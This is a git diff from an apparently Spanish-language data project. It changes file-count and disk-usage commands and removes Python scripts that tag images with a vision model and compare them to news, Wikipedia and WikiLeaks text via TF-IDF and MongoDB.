# NOTICIAS archivos raw
|
||||||
find $FLUJOS/FLUJOS_DATOS/NOTICIAS/archivos/ -type f | wc -l
|
find /var/www/theflows.net/flujos/FLUJOS_DATOS/NOTICIAS/archivos/ -type f | wc -l
|
||||||
|
|
||||||
# WIKIPEDIA artículos
|
# WIKIPEDIA artículos
|
||||||
find $FLUJOS/FLUJOS_DATOS/WIKIPEDIA/articulos_wikipedia/ -type f | wc -l
|
find /var/www/theflows.net/flujos/FLUJOS_DATOS/WIKIPEDIA/articulos_wikipedia/ -type f | wc -l
|
||||||
|
|
||||||
# WIKIPEDIA tokenizados
|
# WIKIPEDIA tokenizados
|
||||||
find $FLUJOS/FLUJOS_DATOS/WIKIPEDIA/articulos_tokenizados/ -type f | wc -l
|
find /var/www/theflows.net/flujos/FLUJOS_DATOS/WIKIPEDIA/articulos_tokenizados/ -type f | wc -l
|
||||||
|
|
||||||
# TORRENTS total
|
# TORRENTS total
|
||||||
find $FLUJOS/FLUJOS_DATOS/TORRENTS/ -type f | wc -l
|
find /var/www/theflows.net/flujos/FLUJOS_DATOS/TORRENTS/ -type f | wc -l
|
||||||
|
|
||||||
# WikiLeaks txt
|
# WikiLeaks txt
|
||||||
find $FLUJOS/FLUJOS_DATOS/TORRENTS/TORRENTS_WIKILEAKS_COMPLETO/txt/ -type f | wc -l
|
find /var/www/theflows.net/flujos/FLUJOS_DATOS/TORRENTS/TORRENTS_WIKILEAKS_COMPLETO/txt/ -type f | wc -l
|
||||||
|
|
||||||
# WikiLeaks tokenizados
|
# WikiLeaks tokenizados
|
||||||
find $FLUJOS/FLUJOS_DATOS/TORRENTS/TORRENTS_WIKILEAKS_COMPLETO/tokenized/ -type f | wc -l
|
find /var/www/theflows.net/flujos/FLUJOS_DATOS/TORRENTS/TORRENTS_WIKILEAKS_COMPLETO/tokenized/ -type f | wc -l
|
||||||
|
|
||||||
|
|
||||||
--- Tamaño en disco por sección ---
|
--- Tamaño en disco por sección ---
|
||||||
|
|
||||||
du -sh $FLUJOS/FLUJOS_DATOS/NOTICIAS/
|
du -sh /var/www/theflows.net/flujos/FLUJOS_DATOS/NOTICIAS/
|
||||||
du -sh $FLUJOS/FLUJOS_DATOS/WIKIPEDIA/
|
du -sh /var/www/theflows.net/flujos/FLUJOS_DATOS/WIKIPEDIA/
|
||||||
du -sh $FLUJOS/FLUJOS_DATOS/TORRENTS/
|
du -sh /var/www/theflows.net/flujos/FLUJOS_DATOS/TORRENTS/
|
||||||
du -sh $FLUJOS/FLUJOS_DATOS/MONGO/
|
du -sh /var/www/theflows.net/flujos/FLUJOS_DATOS/MONGO/
|
||||||
|
|
||||||
|
|
||||||
--- Estimación de artículos únicos comparados (cálculo matemático) ---
|
--- Estimación de artículos únicos comparados (cálculo matemático) ---
|
||||||
|
|
@ -62,9 +62,7 @@ def comparar_carpetas(carpeta1, carpeta2, carpeta_comparaciones, nombre_comparac
|
||||||
f_out.write(f"{nombre_archivo1} vs {nombre_archivo2}: {porcentaje:.2f}% de similitud\n")
|
f_out.write(f"{nombre_archivo1} vs {nombre_archivo2}: {porcentaje:.2f}% de similitud\n")
|
||||||
|
|
||||||
# Rutas a las carpetas
|
# Rutas a las carpetas
|
||||||
ruta_base = os.getenv('FLUJOS_DATOS_DIR',
|
ruta_base = './FLUJOS_DATOS'
|
||||||
os.path.abspath(os.path.join(os.path.dirname(__file__),
|
|
||||||
'..', '..', '..')))
|
|
||||||
carpeta_comparaciones = os.path.join(ruta_base, 'COMPARACIONES')
|
carpeta_comparaciones = os.path.join(ruta_base, 'COMPARACIONES')
|
||||||
carpeta_wikipedia = os.path.join(ruta_base, 'WIKIPEDIA', 'articulos_tokenizados')
|
carpeta_wikipedia = os.path.join(ruta_base, 'WIKIPEDIA', 'articulos_tokenizados')
|
||||||
carpeta_torrents = os.path.join(ruta_base, 'TORRENTS', 'TORRENTS_WIKILEAKS_COMPLETO', 'tokenized')
|
carpeta_torrents = os.path.join(ruta_base, 'TORRENTS', 'TORRENTS_WIKILEAKS_COMPLETO', 'tokenized')
|
||||||
|
|
|
||||||
|
|
@ -1,109 +0,0 @@
|
||||||
"""
|
|
||||||
comparar_imagenes_wiki.py
|
|
||||||
-------------------------
|
|
||||||
Genera comparaciones entre imagenes_wiki y docs de texto (wikipedia + noticias + torrents)
|
|
||||||
y las guarda en la colección 'comparaciones'.
|
|
||||||
|
|
||||||
Uso:
|
|
||||||
cd FLUJOS_DATOS/IMAGENES
|
|
||||||
python comparar_imagenes_wiki.py
|
|
||||||
python comparar_imagenes_wiki.py --umbral 3.0 # más permisivo
|
|
||||||
python comparar_imagenes_wiki.py --tema "cambio climático"
|
|
||||||
"""
|
|
||||||
|
|
||||||
import argparse
|
|
||||||
from pymongo import MongoClient, UpdateOne
|
|
||||||
|
|
||||||
from image_comparator import ImageComparator
|
|
||||||
|
|
||||||
MONGO_URL = "mongodb://localhost:27017"
|
|
||||||
DB_NAME = "FLUJOS_DATOS"
|
|
||||||
|
|
||||||
TEMAS = [
|
|
||||||
"cambio climático",
|
|
||||||
"guerra global",
|
|
||||||
"inteligencia y seguridad",
|
|
||||||
"economía y corporaciones",
|
|
||||||
"demografía y sociedad",
|
|
||||||
]
|
|
||||||
|
|
||||||
TEXT_COLLECTIONS = ["wikipedia", "noticias", "torrents"]
|
|
||||||
|
|
||||||
|
|
||||||
def run(temas: list[str], umbral: float):
|
|
||||||
client = MongoClient(MONGO_URL, serverSelectionTimeoutMS=5000)
|
|
||||||
db = client[DB_NAME]
|
|
||||||
|
|
||||||
comp = ImageComparator(threshold=umbral)
|
|
||||||
total_insertadas = 0
|
|
||||||
|
|
||||||
for tema in temas:
|
|
||||||
print(f"\n{'='*60}")
|
|
||||||
print(f" Tema: {tema}")
|
|
||||||
print(f"{'='*60}")
|
|
||||||
|
|
||||||
# 1. Imágenes de imagenes_wiki para este tema
|
|
||||||
img_docs = list(db.imagenes_wiki.find(
|
|
||||||
{"tema": {"$regex": tema, "$options": "i"}},
|
|
||||||
{"_id": 0}
|
|
||||||
))
|
|
||||||
if not img_docs:
|
|
||||||
print(f" Sin imágenes para '{tema}' — saltando")
|
|
||||||
continue
|
|
||||||
print(f" Imágenes encontradas: {len(img_docs)}")
|
|
||||||
|
|
||||||
# 2. Docs de texto para este tema
|
|
||||||
text_docs = []
|
|
||||||
for col_name in TEXT_COLLECTIONS:
|
|
||||||
docs = list(db[col_name].find(
|
|
||||||
{"tema": {"$regex": tema, "$options": "i"}},
|
|
||||||
{"_id": 0}
|
|
||||||
).limit(500))
|
|
||||||
for d in docs:
|
|
||||||
d.setdefault("source_type", col_name)
|
|
||||||
text_docs.extend(docs)
|
|
||||||
print(f" {col_name}: {len(docs)} docs")
|
|
||||||
|
|
||||||
if not text_docs:
|
|
||||||
print(f" Sin docs de texto para '{tema}' — saltando")
|
|
||||||
continue
|
|
||||||
|
|
||||||
# 3. Comparar
|
|
||||||
comparaciones = comp.compare_batch(img_docs, text_docs)
|
|
||||||
print(f" Comparaciones generadas (umbral={umbral}%): {len(comparaciones)}")
|
|
||||||
|
|
||||||
if not comparaciones:
|
|
||||||
continue
|
|
||||||
|
|
||||||
# Añadir tema a cada comparación para trazabilidad
|
|
||||||
for c in comparaciones:
|
|
||||||
c["tema"] = tema
|
|
||||||
|
|
||||||
# 4. Guardar en MongoDB (upsert por par noticia1+noticia2)
|
|
||||||
ops = [
|
|
||||||
UpdateOne(
|
|
||||||
{"noticia1": c["noticia1"], "noticia2": c["noticia2"]},
|
|
||||||
{"$set": c},
|
|
||||||
upsert=True
|
|
||||||
)
|
|
||||||
for c in comparaciones
|
|
||||||
]
|
|
||||||
result = db.comparaciones.bulk_write(ops)
|
|
||||||
n = result.upserted_count + result.modified_count
|
|
||||||
total_insertadas += result.upserted_count
|
|
||||||
print(f" Guardadas: {result.upserted_count} nuevas, {result.modified_count} actualizadas")
|
|
||||||
|
|
||||||
client.close()
|
|
||||||
print(f"\n Total nuevas comparaciones: {total_insertadas}")
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
parser = argparse.ArgumentParser()
|
|
||||||
parser.add_argument("--umbral", type=float, default=3.0,
|
|
||||||
help="Similitud mínima %% (default: 3.0)")
|
|
||||||
parser.add_argument("--tema", default=None,
|
|
||||||
help="Procesar solo un tema")
|
|
||||||
args = parser.parse_args()
|
|
||||||
|
|
||||||
temas = [args.tema] if args.tema else TEMAS
|
|
||||||
run(temas, args.umbral)
|
|
||||||
|
|
@ -1,342 +0,0 @@
|
||||||
"""
|
|
||||||
image_analyzer.py
|
|
||||||
-----------------
|
|
||||||
Analiza imágenes con Qwen3-VL-8B-Instruct (HuggingFace transformers).
|
|
||||||
Extrae tema, subtema, keywords, descripción y entidades.
|
|
||||||
|
|
||||||
Mejoras:
|
|
||||||
- Opción 3: Resume — salta imágenes ya analizadas en MongoDB
|
|
||||||
- Opción 4: Prioriza imágenes cuyos artículos ya están en MongoDB
|
|
||||||
- Opción 5: Batch inference — procesa N imágenes a la vez (ahorra RAM en activaciones)
|
|
||||||
|
|
||||||
Uso:
|
|
||||||
analyzer = ImageAnalyzer()
|
|
||||||
result = analyzer.analyze("foto.jpg")
|
|
||||||
results = analyzer.analyze_folder("./mis_imagenes/", batch_size=4)
|
|
||||||
results = analyzer.analyze_folder("./mis_imagenes/", resume=True)
|
|
||||||
"""
|
|
||||||
|
|
||||||
import json
|
|
||||||
import os
|
|
||||||
import re
|
|
||||||
from datetime import datetime
|
|
||||||
from pathlib import Path
|
|
||||||
|
|
||||||
import torch
|
|
||||||
from PIL import Image
|
|
||||||
from transformers import Qwen3VLForConditionalGeneration, AutoProcessor, BitsAndBytesConfig
|
|
||||||
|
|
||||||
# ── Configuración ──────────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
MODEL_ID = os.getenv("VISION_MODEL", "Qwen/Qwen3-VL-8B-Instruct")
|
|
||||||
CACHE_DIR = os.getenv("HF_HOME",
|
|
||||||
os.path.join(os.path.dirname(os.path.abspath(__file__)), "model_cache"))
|
|
||||||
|
|
||||||
SUPPORTED_EXTENSIONS = {".jpg", ".jpeg", ".png", ".gif", ".webp", ".bmp"}
|
|
||||||
|
|
||||||
# int4 via bitsandbytes: modelo ocupa ~4-5GB VRAM en lugar de ~16GB bfloat16
|
|
||||||
# RTX 3060 12GB → sobra VRAM para activaciones
|
|
||||||
DEFAULT_BATCH_SIZE = 1 # batch 1 para seguridad con 12GB
|
|
||||||
|
|
||||||
KEYWORD_PROMPT = """Analiza esta imagen en detalle.
|
|
||||||
Devuelve ÚNICAMENTE un objeto JSON válido con esta estructura exacta, sin texto adicional:
|
|
||||||
|
|
||||||
{
|
|
||||||
"tema": "tema principal de la imagen (1-3 palabras en español)",
|
|
||||||
"subtema": "subtema específico (1-4 palabras en español)",
|
|
||||||
"keywords": ["palabra1", "palabra2", "palabra3"],
|
|
||||||
"descripcion": "descripción breve y objetiva de lo que muestra la imagen (1-2 frases)",
|
|
||||||
"entidades": ["nombre_propio1", "organizacion1", "lugar1"],
|
|
||||||
"idioma_detectado": "es/en/fr/..."
|
|
||||||
}
|
|
||||||
|
|
||||||
Requisitos:
|
|
||||||
- keywords: entre 8 y 15 palabras clave relevantes, en minúsculas
|
|
||||||
- entidades: solo si son claramente visibles/identificables, puede estar vacío []
|
|
||||||
- todo el contenido en español salvo entidades propias
|
|
||||||
- SOLO el JSON, sin markdown ni explicaciones"""
|
|
||||||
|
|
||||||
|
|
||||||
# ── Clase principal ────────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
class ImageAnalyzer:
|
|
||||||
|
|
||||||
def __init__(self, model_id: str = MODEL_ID):
|
|
||||||
self.model_id = model_id
|
|
||||||
self._model = None
|
|
||||||
self._processor = None
|
|
||||||
|
|
||||||
def _load_model(self):
|
|
||||||
if self._model is not None:
|
|
||||||
return
|
|
||||||
|
|
||||||
print(f"[ImageAnalyzer] Cargando modelo {self.model_id}...")
|
|
||||||
print(f"[ImageAnalyzer] Cache: {CACHE_DIR}")
|
|
||||||
|
|
||||||
device = "cuda" if torch.cuda.is_available() else "cpu"
|
|
||||||
print(f"[ImageAnalyzer] Dispositivo: {device}")
|
|
||||||
|
|
||||||
if device == "cuda":
|
|
||||||
bnb_config = BitsAndBytesConfig(
|
|
||||||
load_in_4bit=True,
|
|
||||||
bnb_4bit_compute_dtype=torch.bfloat16,
|
|
||||||
bnb_4bit_use_double_quant=True,
|
|
||||||
bnb_4bit_quant_type="nf4",
|
|
||||||
)
|
|
||||||
self._model = Qwen3VLForConditionalGeneration.from_pretrained(
|
|
||||||
self.model_id,
|
|
||||||
quantization_config=bnb_config,
|
|
||||||
device_map="auto",
|
|
||||||
cache_dir=CACHE_DIR,
|
|
||||||
)
|
|
||||||
else:
|
|
||||||
self._model = Qwen3VLForConditionalGeneration.from_pretrained(
|
|
||||||
self.model_id,
|
|
||||||
torch_dtype=torch.bfloat16,
|
|
||||||
device_map="cpu",
|
|
||||||
cache_dir=CACHE_DIR,
|
|
||||||
)
|
|
||||||
|
|
||||||
self._processor = AutoProcessor.from_pretrained(
|
|
||||||
self.model_id,
|
|
||||||
cache_dir=CACHE_DIR,
|
|
||||||
)
|
|
||||||
print("[ImageAnalyzer] Modelo cargado (int4 cuantizado).")
|
|
||||||
|
|
||||||
# ── Opción 3: Resume — obtener archivos ya analizados en MongoDB ───────────
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def get_already_analyzed(mongo_url: str = None, db_name: str = None) -> set[str]:
|
|
||||||
"""Devuelve el conjunto de nombres de archivo ya en MongoDB colección 'imagenes'."""
|
|
||||||
try:
|
|
||||||
from pymongo import MongoClient
|
|
||||||
url = mongo_url or os.getenv("MONGO_URL", "mongodb://localhost:27017")
|
|
||||||
dbname = db_name or os.getenv("DB_NAME", "FLUJOS_DATOS")
|
|
||||||
client = MongoClient(url, serverSelectionTimeoutMS=3000)
|
|
||||||
client.admin.command("ping")
|
|
||||||
db = client[dbname]
|
|
||||||
done = set(doc["archivo"] for doc in db["imagenes"].find({}, {"archivo": 1, "_id": 0}))
|
|
||||||
client.close()
|
|
||||||
print(f"[ImageAnalyzer] Resume: {len(done)} imágenes ya analizadas en MongoDB")
|
|
||||||
return done
|
|
||||||
except Exception as e:
|
|
||||||
print(f"[ImageAnalyzer] Resume: MongoDB no disponible ({e}) — se analizarán todas")
|
|
||||||
return set()
|
|
||||||
|
|
||||||
# ── Opción 4: Priorizar imágenes cuyos artículos existen en MongoDB ────────
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def get_known_article_titles(mongo_url: str = None, db_name: str = None) -> set[str]:
|
|
||||||
"""Devuelve títulos de artículos Wikipedia que ya tenemos en MongoDB."""
|
|
||||||
try:
|
|
||||||
from pymongo import MongoClient
|
|
||||||
url = mongo_url or os.getenv("MONGO_URL", "mongodb://localhost:27017")
|
|
||||||
dbname = db_name or os.getenv("DB_NAME", "FLUJOS_DATOS")
|
|
||||||
client = MongoClient(url, serverSelectionTimeoutMS=3000)
|
|
||||||
db = client[dbname]
|
|
||||||
titles = set()
|
|
||||||
for doc in db["wikipedia"].find({}, {"titulo": 1, "subtema": 1, "_id": 0}):
|
|
||||||
if doc.get("titulo"):
|
|
||||||
titles.add(doc["titulo"].lower())
|
|
||||||
if doc.get("subtema"):
|
|
||||||
titles.add(doc["subtema"].lower())
|
|
||||||
client.close()
|
|
||||||
print(f"[ImageAnalyzer] Priorización: {len(titles)} títulos conocidos en MongoDB")
|
|
||||||
return titles
|
|
||||||
except Exception:
|
|
||||||
return set()
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def _priority_score(img_path: Path, known_titles: set[str]) -> int:
|
|
||||||
"""Imagen con subtema en MongoDB Wikipedia → prioridad alta (0), resto (1)."""
|
|
||||||
stem = img_path.parent.name.lower().replace("_", " ")
|
|
||||||
return 0 if any(stem in t or t in stem for t in known_titles) else 1
|
|
||||||
|
|
||||||
# ── Helpers ────────────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
def _parse_json_response(self, raw: str) -> dict:
|
|
||||||
raw = raw.strip()
|
|
||||||
match = re.search(r'\{[\s\S]*\}', raw)
|
|
||||||
if match:
|
|
||||||
return json.loads(match.group())
|
|
||||||
raise ValueError(f"No se encontró JSON válido:\n{raw[:300]}")
|
|
||||||
|
|
||||||
def _build_result(self, img_path: Path, parsed: dict) -> dict:
|
|
||||||
return {
|
|
||||||
"archivo": img_path.name,
|
|
||||||
"image_path": str(img_path.resolve()),
|
|
||||||
"tema": parsed.get("tema", "sin_clasificar").lower(),
|
|
||||||
"subtema": parsed.get("subtema", "").lower(),
|
|
||||||
"texto": parsed.get("descripcion", ""),
|
|
||||||
"keywords": [k.lower().strip() for k in parsed.get("keywords", [])],
|
|
||||||
"entidades": parsed.get("entidades", []),
|
|
||||||
"idioma": parsed.get("idioma_detectado", "es"),
|
|
||||||
"source_type": "imagen",
|
|
||||||
"fecha": datetime.now().strftime("%Y-%m-%d"),
|
|
||||||
"modelo_usado": self.model_id,
|
|
||||||
}
|
|
||||||
|
|
||||||
# ── Análisis de una imagen (individual) ───────────────────────────────────
|
|
||||||
|
|
||||||
def analyze(self, image_path: str, extra_context: str = "") -> dict:
|
|
||||||
if not os.path.exists(image_path):
|
|
||||||
raise FileNotFoundError(f"Imagen no encontrada: {image_path}")
|
|
||||||
|
|
||||||
self._load_model()
|
|
||||||
prompt = (f"Contexto adicional: {extra_context}\n\n" + KEYWORD_PROMPT) if extra_context else KEYWORD_PROMPT
|
|
||||||
image = Image.open(image_path).convert("RGB")
|
|
||||||
|
|
||||||
messages = [{"role": "user", "content": [
|
|
||||||
{"type": "image", "image": image},
|
|
||||||
{"type": "text", "text": prompt},
|
|
||||||
]}]
|
|
||||||
|
|
||||||
inputs = self._processor.apply_chat_template(
|
|
||||||
messages, tokenize=True, add_generation_prompt=True,
|
|
||||||
return_dict=True, return_tensors="pt",
|
|
||||||
)
|
|
||||||
inputs = {k: v.to(self._model.device) for k, v in inputs.items()}
|
|
||||||
|
|
||||||
print(f" → Analizando: {Path(image_path).name}")
|
|
||||||
with torch.no_grad():
|
|
||||||
generated_ids = self._model.generate(**inputs, max_new_tokens=512, do_sample=False)
|
|
||||||
|
|
||||||
trimmed = [out[len(inp):] for inp, out in zip(inputs["input_ids"], generated_ids)]
|
|
||||||
raw = self._processor.batch_decode(trimmed, skip_special_tokens=True, clean_up_tokenization_spaces=False)[0]
|
|
||||||
return self._build_result(Path(image_path), self._parse_json_response(raw))
|
|
||||||
|
|
||||||
# ── Opción 5: Batch inference ──────────────────────────────────────────────
|
|
||||||
|
|
||||||
def analyze_batch(self, image_paths: list[str], extra_context: str = "") -> list[dict]:
|
|
||||||
"""
|
|
||||||
Analiza un lote de imágenes en una sola llamada al modelo.
|
|
||||||
Más eficiente que N llamadas individuales.
|
|
||||||
RAM estimada: ~16GB modelo + ~500MB × batch_size activaciones.
|
|
||||||
"""
|
|
||||||
self._load_model()
|
|
||||||
prompt = (f"Contexto adicional: {extra_context}\n\n" + KEYWORD_PROMPT) if extra_context else KEYWORD_PROMPT
|
|
||||||
|
|
||||||
batch_messages = []
|
|
||||||
valid_paths = []
|
|
||||||
for path in image_paths:
|
|
||||||
try:
|
|
||||||
img = Image.open(path).convert("RGB")
|
|
||||||
batch_messages.append([{"role": "user", "content": [
|
|
||||||
{"type": "image", "image": img},
|
|
||||||
{"type": "text", "text": prompt},
|
|
||||||
]}])
|
|
||||||
valid_paths.append(Path(path))
|
|
||||||
except Exception as e:
|
|
||||||
print(f" ✗ Error abriendo {path}: {e}")
|
|
||||||
|
|
||||||
if not batch_messages:
|
|
||||||
return []
|
|
||||||
|
|
||||||
all_inputs = [
|
|
||||||
self._processor.apply_chat_template(
|
|
||||||
msgs, tokenize=True, add_generation_prompt=True,
|
|
||||||
return_dict=True, return_tensors="pt",
|
|
||||||
)
|
|
||||||
for msgs in batch_messages
|
|
||||||
]
|
|
||||||
|
|
||||||
# Pad manualmente para batch
|
|
||||||
input_ids_list = [x["input_ids"][0] for x in all_inputs]
|
|
||||||
attention_mask_list = [x["attention_mask"][0] for x in all_inputs]
|
|
||||||
|
|
||||||
max_len = max(t.shape[0] for t in input_ids_list)
|
|
||||||
pad_id = self._processor.tokenizer.pad_token_id or 0
|
|
||||||
padded_ids = torch.stack([
|
|
||||||
torch.nn.functional.pad(t, (max_len - t.shape[0], 0), value=pad_id)
|
|
||||||
for t in input_ids_list
|
|
||||||
])
|
|
||||||
padded_masks = torch.stack([
|
|
||||||
torch.nn.functional.pad(t, (max_len - t.shape[0], 0), value=0)
|
|
||||||
for t in attention_mask_list
|
|
||||||
])
|
|
||||||
|
|
||||||
with torch.no_grad():
|
|
||||||
generated = self._model.generate(
|
|
||||||
input_ids=padded_ids.to(self._model.device),
|
|
||||||
attention_mask=padded_masks.to(self._model.device),
|
|
||||||
max_new_tokens=512,
|
|
||||||
do_sample=False,
|
|
||||||
)
|
|
||||||
|
|
||||||
results = []
|
|
||||||
for i, (out_ids, in_ids) in enumerate(zip(generated, padded_ids)):
|
|
||||||
raw = self._processor.decode(out_ids[in_ids.shape[0]:], skip_special_tokens=True)
|
|
||||||
try:
|
|
||||||
parsed = self._parse_json_response(raw)
|
|
||||||
results.append(self._build_result(valid_paths[i], parsed))
|
|
||||||
print(f" ✓ {valid_paths[i].name} → tema={parsed.get('tema','?')}")
|
|
||||||
except Exception as e:
|
|
||||||
print(f" ✗ {valid_paths[i].name}: {e}")
|
|
||||||
results.append({
|
|
||||||
"archivo": valid_paths[i].name, "error": str(e),
|
|
||||||
"source_type": "imagen", "fecha": datetime.now().strftime("%Y-%m-%d"),
|
|
||||||
})
|
|
||||||
return results
|
|
||||||
|
|
||||||
# ── Análisis de carpeta con todas las mejoras ──────────────────────────────
|
|
||||||
|
|
||||||
def analyze_folder(
|
|
||||||
self,
|
|
||||||
folder_path: str,
|
|
||||||
extra_context: str = "",
|
|
||||||
resume: bool = True,
|
|
||||||
batch_size: int = DEFAULT_BATCH_SIZE,
|
|
||||||
prioritize: bool = True,
|
|
||||||
) -> list[dict]:
|
|
||||||
"""
|
|
||||||
Args:
|
|
||||||
resume: Si True, salta imágenes ya analizadas en MongoDB (opción 3)
|
|
||||||
prioritize: Si True, procesa primero imágenes cuyos artículos están en MongoDB (opción 4)
|
|
||||||
batch_size: Imágenes por lote para el modelo (opción 5). Default: 4
|
|
||||||
"""
|
|
||||||
folder = Path(folder_path)
|
|
||||||
if not folder.exists():
|
|
||||||
raise FileNotFoundError(f"Carpeta no encontrada: {folder_path}")
|
|
||||||
|
|
||||||
images = sorted([
|
|
||||||
p for p in folder.rglob("*")
|
|
||||||
if p.is_file() and p.suffix.lower() in SUPPORTED_EXTENSIONS
|
|
||||||
])
|
|
||||||
print(f"\n[ImageAnalyzer] {len(images)} imágenes encontradas en {folder_path}")
|
|
||||||
|
|
||||||
# Opción 3: Resume — filtrar ya analizadas
|
|
||||||
if resume:
|
|
||||||
done = self.get_already_analyzed()
|
|
||||||
before = len(images)
|
|
||||||
images = [p for p in images if p.name not in done]
|
|
||||||
print(f"[ImageAnalyzer] Resume: {before - len(images)} saltadas, {len(images)} pendientes")
|
|
||||||
|
|
||||||
if not images:
|
|
||||||
print("[ImageAnalyzer] Nada que analizar.")
|
|
||||||
return []
|
|
||||||
|
|
||||||
# Opción 4: Priorizar por artículos conocidos en MongoDB
|
|
||||||
if prioritize:
|
|
||||||
known = self.get_known_article_titles()
|
|
||||||
images = sorted(images, key=lambda p: self._priority_score(p, known))
|
|
||||||
print(f"[ImageAnalyzer] Priorización activada")
|
|
||||||
|
|
||||||
# Opción 5: Batch inference
|
|
||||||
results = []
|
|
||||||
total = len(images)
|
|
||||||
for start in range(0, total, batch_size):
|
|
||||||
batch = images[start:start + batch_size]
|
|
||||||
end = min(start + batch_size, total)
|
|
||||||
print(f"\n [Batch {start//batch_size + 1}] imágenes {start+1}-{end}/{total}")
|
|
||||||
batch_results = self.analyze_batch([str(p) for p in batch], extra_context)
|
|
||||||
results.extend(batch_results)
|
|
||||||
|
|
||||||
ok = len([r for r in results if "error" not in r])
|
|
||||||
print(f"\n[ImageAnalyzer] Completado: {ok}/{total} OK\n")
|
|
||||||
return results
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def save_json(results: list[dict], output_path: str):
|
|
||||||
with open(output_path, "w", encoding="utf-8") as f:
|
|
||||||
json.dump(results, f, ensure_ascii=False, indent=2)
|
|
||||||
print(f"[ImageAnalyzer] Guardado: {output_path} ({len(results)} registros)")
|
|
||||||
|
|
@ -1,162 +0,0 @@
|
||||||
"""
|
|
||||||
image_comparator.py
|
|
||||||
-------------------
|
|
||||||
Compara keywords de imágenes con documentos de texto (noticias, wikipedia, torrents)
|
|
||||||
usando similitud TF-IDF coseno.
|
|
||||||
|
|
||||||
Produce documentos para la colección 'comparaciones' de MongoDB,
|
|
||||||
con la misma estructura que los comparaciones texto-texto ya existentes:
|
|
||||||
{ noticia1, noticia2, porcentaje_similitud }
|
|
||||||
|
|
||||||
Ampliado con campos opcionales: source1_type, source2_type (para saber qué se comparó).
|
|
||||||
|
|
||||||
Uso:
|
|
||||||
comp = ImageComparator()
|
|
||||||
resultados = comp.compare_image_vs_collection(imagen_doc, lista_docs_texto)
|
|
||||||
top = comp.top_n(resultados, n=10)
|
|
||||||
"""
|
|
||||||
|
|
||||||
from sklearn.feature_extraction.text import TfidfVectorizer
|
|
||||||
from sklearn.metrics.pairwise import cosine_similarity
|
|
||||||
import numpy as np
|
|
||||||
|
|
||||||
|
|
||||||
# ── Clase principal ─────────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
class ImageComparator:
|
|
||||||
|
|
||||||
def __init__(self, threshold: float = 5.0):
|
|
||||||
"""
|
|
||||||
Args:
|
|
||||||
threshold: porcentaje mínimo de similitud para incluir en resultados (0-100)
|
|
||||||
"""
|
|
||||||
self.threshold = threshold
|
|
||||||
self.vectorizer = TfidfVectorizer(
|
|
||||||
analyzer="word",
|
|
||||||
ngram_range=(1, 2),
|
|
||||||
min_df=1,
|
|
||||||
strip_accents="unicode",
|
|
||||||
lowercase=True,
|
|
||||||
)
|
|
||||||
|
|
||||||
# ── Conversión de documentos a texto ──────────────────────────────────────
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def doc_to_text(doc: dict) -> str:
|
|
||||||
"""
|
|
||||||
Concatena los campos relevantes de un documento en un string para TF-IDF.
|
|
||||||
Compatible con estructura de noticias/wikipedia/torrents/imagenes.
|
|
||||||
"""
|
|
||||||
parts = []
|
|
||||||
# keywords de imágenes (lista) — los más informativos, se repiten para darles peso
|
|
||||||
if doc.get("keywords"):
|
|
||||||
kws = doc["keywords"] if isinstance(doc["keywords"], list) else []
|
|
||||||
parts.extend(kws * 3) # peso extra a keywords
|
|
||||||
# campos de texto estándar
|
|
||||||
for field in ("tema", "subtema", "texto"):
|
|
||||||
val = doc.get(field)
|
|
||||||
if val and isinstance(val, str):
|
|
||||||
parts.append(val)
|
|
||||||
# entidades (pueden ser strings o dicts)
|
|
||||||
if doc.get("entidades"):
|
|
||||||
for e in doc["entidades"]:
|
|
||||||
if isinstance(e, str):
|
|
||||||
parts.append(e)
|
|
||||||
elif isinstance(e, dict):
|
|
||||||
parts.extend(str(v) for v in e.values() if v)
|
|
||||||
return " ".join(parts)
|
|
||||||
|
|
||||||
# ── Comparación imagen vs lista de documentos ─────────────────────────────
|
|
||||||
|
|
||||||
def compare_image_vs_collection(
|
|
||||||
self,
|
|
||||||
image_doc: dict,
|
|
||||||
text_docs: list[dict],
|
|
||||||
) -> list[dict]:
|
|
||||||
"""
|
|
||||||
Compara una imagen contra una lista de documentos de texto.
|
|
||||||
|
|
||||||
Returns:
|
|
||||||
Lista de dicts ordenados por porcentaje_similitud desc, filtrados por threshold.
|
|
||||||
"""
|
|
||||||
if not text_docs:
|
|
||||||
return []
|
|
||||||
|
|
||||||
all_docs = [image_doc] + text_docs
|
|
||||||
texts = [self.doc_to_text(d) for d in all_docs]
|
|
||||||
|
|
||||||
try:
|
|
||||||
matrix = self.vectorizer.fit_transform(texts)
|
|
||||||
except ValueError:
|
|
||||||
return []
|
|
||||||
|
|
||||||
# Similitud de imagen (índice 0) contra todos los demás
|
|
||||||
sims = cosine_similarity(matrix[0:1], matrix[1:]).flatten()
|
|
||||||
|
|
||||||
comparaciones = []
|
|
||||||
for doc, sim in zip(text_docs, sims):
|
|
||||||
pct = round(float(sim) * 100, 2)
|
|
||||||
if pct < self.threshold:
|
|
||||||
continue
|
|
||||||
|
|
||||||
comparaciones.append({
|
|
||||||
# Campos compatibles con colección 'comparaciones' existente
|
|
||||||
"noticia1": image_doc.get("archivo", "imagen"),
|
|
||||||
"noticia2": doc.get("archivo", str(doc.get("_id", ""))),
|
|
||||||
"porcentaje_similitud": pct,
|
|
||||||
# Campos extendidos (opcionales — no rompen queries existentes)
|
|
||||||
"source1_type": "imagen",
|
|
||||||
"source2_type": doc.get("source_type", "texto"),
|
|
||||||
"tema_imagen": image_doc.get("tema", ""),
|
|
||||||
"tema_doc": doc.get("tema", ""),
|
|
||||||
})
|
|
||||||
|
|
||||||
comparaciones.sort(key=lambda x: x["porcentaje_similitud"], reverse=True)
|
|
||||||
return comparaciones
|
|
||||||
|
|
||||||
# ── Comparación muchas imágenes vs colección ───────────────────────────────
|
|
||||||
|
|
||||||
def compare_batch(
|
|
||||||
self,
|
|
||||||
image_docs: list[dict],
|
|
||||||
text_docs: list[dict],
|
|
||||||
) -> list[dict]:
|
|
||||||
"""
|
|
||||||
Compara múltiples imágenes contra una colección de documentos.
|
|
||||||
|
|
||||||
Returns:
|
|
||||||
